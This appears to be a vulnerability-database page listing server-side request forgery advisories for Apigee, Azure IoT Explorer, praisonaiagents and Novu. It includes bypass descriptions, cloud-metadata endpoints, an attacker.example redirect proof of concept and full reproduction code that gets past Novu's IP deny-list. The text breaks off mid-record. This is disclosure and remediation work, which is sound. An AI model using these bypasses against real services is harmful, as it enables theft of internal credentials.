GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5695 vulnerabilities reference this CWE, most recent first.

GHSA-VFX9-PMH4-CQPQ

Vulnerability from github – Published: 2026-05-26 18:31 – Updated: 2026-05-26 18:31
VLAI
Details

A vulnerability in the Google Cloud Apigee SetIntegrationRequest policy allowed remote attackers to perform Server-Side Request Forgery (SSRF) and exfiltrate service account access tokens.

For successful exploitation, an administrator must initially establish an insecure configuration of the API proxy.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-26T17:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the Google Cloud Apigee\u00a0SetIntegrationRequest\u00a0policy allowed remote attackers to perform Server-Side Request Forgery (SSRF) and exfiltrate service account access tokens.\n\nFor successful exploitation, an administrator must initially establish an insecure configuration of the API proxy.",
  "id": "GHSA-vfx9-pmh4-cqpq",
  "modified": "2026-05-26T18:31:45Z",
  "published": "2026-05-26T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2264"
    },
    {
      "type": "WEB",
      "url": "https://docs.cloud.google.com/apigee/docs/security-bulletins/security-bulletins#gcp-2026-034"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VG48-J87H-HC85

Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31
VLAI
Details

Server-side request forgery (ssrf) in Azure IoT Explorer allows an unauthorized attacker to perform spoofing over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-26121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T18:18:41Z",
    "severity": "HIGH"
  },
  "details": "Server-side request forgery (ssrf) in Azure IoT Explorer allows an unauthorized attacker to perform spoofing over a network.",
  "id": "GHSA-vg48-j87h-hc85",
  "modified": "2026-03-10T18:31:21Z",
  "published": "2026-03-10T18:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26121"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VG6P-V9VM-6FGJ

Vulnerability from github – Published: 2026-08-25 14:43 – Updated: 2026-08-25 14:43
VLAI
Summary
praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
Details

The web_crawl tool performs its SSRF check only on the initial URL: it resolves the hostname once with socket.gethostbyname and rejects private/loopback/link-local results. It then passes the URL to a fetcher that uses httpx.Client(follow_redirects=True) - or urllib.request.urlopen when httpx is absent, which also follows redirects - and re-resolves the hostname at connect time, with no further validation. This validate-here/fetch-there gap is bypassable two independent ways: HTTP redirects and DNS rebinding.

Affected code: src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py - Single-shot validation (lines 229-238): if os.environ.get("ALLOW_LOCAL_CRAWL") != "true": ip_str = socket.gethostbyname(hostname) # resolved ONCE, at validation time ip = ipaddress.ip_address(ip_str) if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified: continue # rejected url_list.append(u) - Vulnerable fetch (_crawl_with_httpx, lines 142 / 149): follows redirects, re-resolves DNS, no re-check: with httpx.Client(follow_redirects=True, timeout=30.0) as client: response = client.get(url) # fallback: urllib.request.urlopen(url, timeout=30) (also follows redirects by default) - web_crawl / crawl_web are registered tools (tools/init.py:156-157); httpx is the default fallback provider (dispatch at web_crawl_tools.py:269).

The two bypasses: 1) Redirect: validation approves an attacker domain resolving to a public IP; attacker server replies 302 Location: http://169.254.169.254/... (or any internal host); the fetcher follows it unchecked. 2) DNS rebinding (TOCTOU): validator's gethostbyname and fetcher's connect-time resolution are independent; a low-TTL attacker domain answers public to the validator and private/loopback to fetch.

Impact: An agent with web_crawl - driven by direct input or indirect prompt injection - can be made to read internal-only HTTP services and cloud instance-metadata endpoints (e.g. IAM credentials), with the response body returned in the tool output. Scope is Changed because the request pivots into the internal network.

Proof of concept: A PoC drives the real web_crawl() (httpx absent -> genuine urllib fallback). It runs a loopback "internal metadata" service and a loopback attacker redirector, substituting DNS only to stand in for "attacker owns a public domain" / offline routing - the redirect-following and connect-time re-resolution are the repo's own behavior. Observed: CONTROL: web_crawl("http://127.0.0.1:.../meta-data/") -> blocked (validator works) PoC 1A (redirect): attacker.example approved (public); 302 -> loopback metadata -> result.content leaks {"AccessKeyId":"ASIA_FAKE_STOLEN_CREDENTIAL_..."} PoC 1B (rebinding): gethostbyname(rebind.example)->public (allowed); connect->127.0.0.1 -> same secret leaked The control proves the validator blocks a direct loopback request, so the bypasses are genuine.

Remediation: Resolve the hostname once, validate that IP, and connect to that exact validated IP (pin it) rather than re-resolving. Disable redirect following (follow_redirects=False; for urllib use a redirect handler that re-validates), or re-validate every redirect hop's resolved IP. Apply the deny check to both the validator and the actual socket target. file_tools.py:364 already uses follow_redirects=False and is the correct pattern to propagate.

Distinct from prior advisories: The accepted SSRF advisories concern host-string parsing in different code — alternate loopback encodings in spider_tools (GHSA-5c6w-wwfq-7qqm) and the CLI @url feature (GHSA-5cxw-77wg-jrf3). This is in the web_crawl tool, which neither advisory names, and the mechanisms (redirect-following and DNS rebinding) differ categorically from host-string encoding; the spider_tools _host_is_blocked hardening does not apply to this tool.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:43:19Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
  "details": "The web_crawl tool performs its SSRF check only on the initial URL: it resolves the hostname once\nwith socket.gethostbyname and rejects private/loopback/link-local results. It then passes the URL to\na fetcher that uses httpx.Client(follow_redirects=True) - or urllib.request.urlopen when httpx is\nabsent, which also follows redirects - and re-resolves the hostname at connect time, with no further\nvalidation. This validate-here/fetch-there gap is bypassable two independent ways: HTTP redirects and\nDNS rebinding.\n\nAffected code: src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n- Single-shot validation (lines 229-238):\n    if os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n        ip_str = socket.gethostbyname(hostname)            # resolved ONCE, at validation time\n        ip = ipaddress.ip_address(ip_str)\n        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:\n            continue                                       # rejected\n    url_list.append(u)\n- Vulnerable fetch (_crawl_with_httpx, lines 142 / 149): follows redirects, re-resolves DNS, no re-check:\n    with httpx.Client(follow_redirects=True, timeout=30.0) as client: response = client.get(url)\n    # fallback: urllib.request.urlopen(url, timeout=30)  (also follows redirects by default)\n- web_crawl / crawl_web are registered tools (tools/__init__.py:156-157); httpx is the default fallback\n  provider (dispatch at web_crawl_tools.py:269).\n\nThe two bypasses:\n1) Redirect: validation approves an attacker domain resolving to a public IP; attacker server replies\n   302 Location: http://169.254.169.254/... (or any internal host); the fetcher follows it unchecked.\n2) DNS rebinding (TOCTOU): validator\u0027s gethostbyname and fetcher\u0027s connect-time resolution are\n   independent; a low-TTL attacker domain answers public to the validator and private/loopback to fetch.\n\nImpact:\nAn agent with web_crawl - driven by direct input or indirect prompt injection - can be made to read\ninternal-only HTTP services and cloud instance-metadata endpoints (e.g. IAM credentials), with the\nresponse body returned in the tool output. Scope is Changed because the request pivots into the\ninternal network.\n\nProof of concept:\nA PoC drives the real web_crawl() (httpx absent -\u003e genuine urllib fallback). It runs a loopback\n\"internal metadata\" service and a loopback attacker redirector, substituting DNS only to stand in\nfor \"attacker owns a public domain\" / offline routing - the redirect-following and connect-time\nre-resolution are the repo\u0027s own behavior. Observed:\n  CONTROL: web_crawl(\"http://127.0.0.1:.../meta-data/\")  -\u003e blocked (validator works)\n  PoC 1A (redirect):  attacker.example approved (public); 302 -\u003e loopback metadata\n                      -\u003e result.content leaks {\"AccessKeyId\":\"ASIA_FAKE_STOLEN_CREDENTIAL_...\"}\n  PoC 1B (rebinding): gethostbyname(rebind.example)-\u003epublic (allowed); connect-\u003e127.0.0.1\n                      -\u003e same secret leaked\nThe control proves the validator blocks a direct loopback request, so the bypasses are genuine.\n\nRemediation:\nResolve the hostname once, validate that IP, and connect to that exact validated IP (pin it) rather\nthan re-resolving. Disable redirect following (follow_redirects=False; for urllib use a redirect\nhandler that re-validates), or re-validate every redirect hop\u0027s resolved IP. Apply the deny check to\nboth the validator and the actual socket target. file_tools.py:364 already uses follow_redirects=False\nand is the correct pattern to propagate.\n\nDistinct from prior advisories:\nThe accepted SSRF advisories concern host-string parsing in different code \u2014 alternate loopback\nencodings in spider_tools (GHSA-5c6w-wwfq-7qqm) and the CLI @url feature (GHSA-5cxw-77wg-jrf3). This\nis in the web_crawl tool, which neither advisory names, and the mechanisms (redirect-following and DNS\nrebinding) differ categorically from host-string encoding; the spider_tools _host_is_blocked hardening\ndoes not apply to this tool.",
  "id": "GHSA-vg6p-v9vm-6fgj",
  "modified": "2026-08-25T14:43:19Z",
  "published": "2026-08-25T14:43:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vg6p-v9vm-6fgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)"
}

GHSA-VG6V-J97M-H5XQ

Vulnerability from github – Published: 2026-07-28 14:59 – Updated: 2026-07-28 14:59
VLAI
Summary
@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition
Details

Hi Novu team,

Reporting an SSRF blocklist gap in the shared validateUrlSsrf guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run docker compose up, plus a single-file probe that runs against Node directly. Locally validated against HEAD 291817c.

Summary

Novu's shared SSRF guard validateUrlSsrf(url) is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block 100.64.0.0/10 shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as 100.100.100.200 (Alibaba Cloud metadata service) and any other service reachable in 100.64.0.0/10.

Affected code

Guard:

  • libs/application-generic/src/utils/ssrf-url-validation.ts
  • isPrivateIp(...) regex list at lines 9-28
  • DNS resolution and address validation at lines 55-72

Product call-sites:

  • Workflow HTTP request step: apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts — calls validateUrlSsrf(url) at line 149, then uses HttpClientService to send the request.
  • Webhook filter condition: libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts — calls validateUrlSsrf(child.webhookUrl) at line 265, then sends axios.post(child.webhookUrl, ...) at line 277.

HTTP client:

  • libs/application-generic/src/services/http-client/http-client.service.ts — uses got(gotOptions) at lines 120 and 142 after the preflight validation.

Root cause

The SSRF guard uses a hand-written regex deny-list:

/^0\.0\.0\.0$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^::ffff:127\./i,
/^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i,
/^::ffff:169\.254\./i,
/^::1$/,
/^fc00:/i,
/^fe80:/i,

This list omits 100.64.0.0/10, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; Alibaba Cloud metadata is available at 100.100.100.200.

Reproduction — Part 1: unit-level probe (no Docker required)

Save the following file and run with node novu_ssrf_guard_probe.js. The script replicates validateUrlSsrf from libs/application-generic/src/utils/ssrf-url-validation.ts verbatim (the isPrivateIp regex list is copied as-is) and tests several URL categories.

novu_ssrf_guard_probe.js

const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i,
    /^127\./,
    /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./,
    /^192\.168\./,
    /^169\.254\./,
    /^::ffff:127\./i,
    /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i,
    /^::ffff:169\.254\./i,
    /^::1$/,
    /^fc00:/i,
    /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return 'Invalid URL format.';
  }
  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return `URL scheme "${parsed.protocol}" is not allowed.`;
  }
  const hostname = parsed.hostname.toLowerCase();
  const blockedHostnames = ['localhost', 'metadata.google.internal'];
  if (blockedHostnames.includes(hostname)) {
    return `Requests to "${hostname}" are not allowed.`;
  }
  let addresses;
  try {
    addresses = await dns.lookup(hostname, { all: true });
  } catch {
    return `Unable to resolve hostname "${hostname}".`;
  }
  for (const { address } of addresses) {
    if (isPrivateIp(address)) {
      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;
    }
  }
  return null;
}

async function main() {
  for (const url of [
    'http://127.0.0.1/',
    'http://0.0.0.0/',
    'http://0.0.0.1/',
    'http://169.254.169.254/',
    'http://100.64.0.1/',
    'http://100.100.100.200/',
    'http://224.0.0.1/',
    'http://[fd00::1]/',
    'http://[64:ff9b::7f00:1]/',
    'http://[::ffff:100.64.0.1]/',
    'http://8.8.8.8/',
  ]) {
    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));
  }
}

main().catch((e) => { console.error(e); process.exitCode = 1; });

Expected output (relevant lines)

{"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."}
{"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."}
{"url":"http://100.64.0.1/","verdict":"ALLOW"}
{"url":"http://100.100.100.200/","verdict":"ALLOW"}
{"url":"http://8.8.8.8/","verdict":"ALLOW"}

The 2nd and 3rd ALLOW rows are the bypass — both are non-public destinations the guard should refuse.

Reproduction — Part 2: end-to-end Docker CGNAT proof

Save the three files below into a directory, then:

docker compose up --abort-on-container-exit --exit-code-from novu-client

This mirrors the product sequence in execute-http-request-step.usecase.ts: resolve hostname → validate with validateUrlSsrf → send HTTP request. The "target" container is bound to a CGNAT address (100.64.0.20) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.

docker-compose.yml

services:
  cgnat-target:
    image: python:3.12-alpine
    command: python -u /srv/target.py
    volumes:
      - ./target.py:/srv/target.py:ro
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.20

  novu-client:
    image: node:22-alpine
    command: node /srv/client.js
    volumes:
      - ./client.js:/srv/client.js:ro
    depends_on:
      - cgnat-target
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.10

networks:
  novu-cgnat:
    ipam:
      config:
        - subnet: 100.64.0.0/24

target.py

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        print(f"[target] {self.client_address[0]} POST {self.path}", flush=True)
        self.send_response(200)
        self.send_header("content-type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n')
    def log_message(self, fmt, *args): return

HTTPServer(("100.64.0.20", 8080), Handler).serve_forever()

client.js

const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i, /^127\./, /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./,
    /^::ffff:127\./i, /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i, /^::ffff:169\.254\./i,
    /^::1$/, /^fc00:/i, /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  const parsed = new URL(url);
  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';
  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {
    return 'blocked hostname';
  }
  const addresses = await dns.lookup(parsed.hostname, { all: true });
  for (const { address } of addresses) {
    if (isPrivateIp(address)) return `blocked ${address}`;
  }
  return null;
}

async function waitForTarget(url) {
  for (let attempt = 0; attempt < 20; attempt += 1) {
    try {
      const r = await fetch(url, { method: 'POST' });
      await r.text();
      return;
    } catch (_e) {
      await new Promise((resolve) => setTimeout(resolve, 250));
    }
  }
}

async function main() {
  const url = 'http://cgnat-target:8080/workflow-http-step';
  const addresses = await dns.lookup('cgnat-target', { all: true });
  const validation = await validateUrlSsrf(url);
  console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));

  if (validation) { process.exitCode = 2; return; }

  await waitForTarget(url);
  const response = await fetch(url, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: JSON.stringify({ source: 'novu-http-request-step' }),
  });
  const body = await response.text();
  console.log(JSON.stringify({ status: response.status, body }));
}

main().catch((e) => { console.error(e); process.exitCode = 1; });

Expected output

novu-client-1   | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"}
cgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step
novu-client-1   | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"}

The chain is:

  1. Resolve hostname cgnat-target100.64.0.20 (a CGNAT address).
  2. Run Novu's validateUrlSsrf against the URL — returns ALLOW because 100.64.0.0/10 is missing from isPrivateIp.
  3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker NOVU_CGNAT_SSRF_OK is received.

Impact

Any Novu feature that allows a user to configure an outbound HTTP URL and relies on validateUrlSsrf may still reach 100.64.0.0/10. Impact is highest for:

  • Alibaba Cloud deployments, where http://100.100.100.200/latest/meta-data/ may expose instance metadata.
  • Self-hosted deployments where 100.64.0.0/10 routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.
  • Multi-tenant deployments where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.

Suggested remediation

  • Replace regex matching with IP parsing and CIDR classification, e.g. using ipaddr.js with process(...) to normalize IPv4-mapped IPv6.
  • Treat only globally reachable public IPs as allowed by default (addr.range() === 'unicast' after IPv4-mapped unwrap, or equivalent).
  • Explicitly deny all special-use ranges, including at least:
  • 0.0.0.0/8, 10.0.0.0/8, 100.64.0.0/10, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16
  • multicast (224.0.0.0/4), documentation (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, 2001:db8::/32), benchmarking (198.18.0.0/15), reserved (240.0.0.0/4)
  • IPv6 ULA (fc00::/7), link-local (fe80::/10), loopback (::1), and the IPv4-mapped variants of all of the above
  • Add regression tests for:
  • 100.64.0.1, 100.100.100.200
  • hostnames resolving to those addresses
  • IPv4-mapped variants of denied IPv4 ranges (e.g., ::ffff:100.64.0.1)
  • Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).

Notes

This report is intentionally scoped to the concrete 100.64.0.0/10 bypass. Additional missed ranges exist in the current regex guard (multicast 224.0.0.0/4, broadcast 255.255.255.255, benchmarking, documentation, 0.0.0.0/8 outside /32, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (100.100.100.200 on Alibaba Cloud).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@novu/application-generic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:59:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below \u2014 copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu\u0027s shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n  - `isPrivateIp(...)` regex list at lines 9-28\n  - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` \u2014 calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` \u2014 calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` \u2014 uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction \u2014 Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require(\u0027dns/promises\u0027);\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i,\n    /^127\\./,\n    /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n    /^192\\.168\\./,\n    /^169\\.254\\./,\n    /^::ffff:127\\./i,\n    /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i,\n    /^::ffff:169\\.254\\./i,\n    /^::1$/,\n    /^fc00:/i,\n    /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  let parsed;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return \u0027Invalid URL format.\u0027;\n  }\n  if (parsed.protocol !== \u0027http:\u0027 \u0026\u0026 parsed.protocol !== \u0027https:\u0027) {\n    return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n  }\n  const hostname = parsed.hostname.toLowerCase();\n  const blockedHostnames = [\u0027localhost\u0027, \u0027metadata.google.internal\u0027];\n  if (blockedHostnames.includes(hostname)) {\n    return `Requests to \"${hostname}\" are not allowed.`;\n  }\n  let addresses;\n  try {\n    addresses = await dns.lookup(hostname, { all: true });\n  } catch {\n    return `Unable to resolve hostname \"${hostname}\".`;\n  }\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) {\n      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n    }\n  }\n  return null;\n}\n\nasync function main() {\n  for (const url of [\n    \u0027http://127.0.0.1/\u0027,\n    \u0027http://0.0.0.0/\u0027,\n    \u0027http://0.0.0.1/\u0027,\n    \u0027http://169.254.169.254/\u0027,\n    \u0027http://100.64.0.1/\u0027,\n    \u0027http://100.100.100.200/\u0027,\n    \u0027http://224.0.0.1/\u0027,\n    \u0027http://[fd00::1]/\u0027,\n    \u0027http://[64:ff9b::7f00:1]/\u0027,\n    \u0027http://[::ffff:100.64.0.1]/\u0027,\n    \u0027http://8.8.8.8/\u0027,\n  ]) {\n    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? \u0027ALLOW\u0027 }));\n  }\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass \u2014 both are non-public destinations the guard should refuse.\n\n## Reproduction \u2014 Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname \u2192 validate with `validateUrlSsrf` \u2192 send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n  cgnat-target:\n    image: python:3.12-alpine\n    command: python -u /srv/target.py\n    volumes:\n      - ./target.py:/srv/target.py:ro\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.20\n\n  novu-client:\n    image: node:22-alpine\n    command: node /srv/client.js\n    volumes:\n      - ./client.js:/srv/client.js:ro\n    depends_on:\n      - cgnat-target\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.10\n\nnetworks:\n  novu-cgnat:\n    ipam:\n      config:\n        - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n        self.send_response(200)\n        self.send_header(\"content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b\u0027{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n\u0027)\n    def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require(\u0027dns/promises\u0027);\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n    /^::ffff:127\\./i, /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n    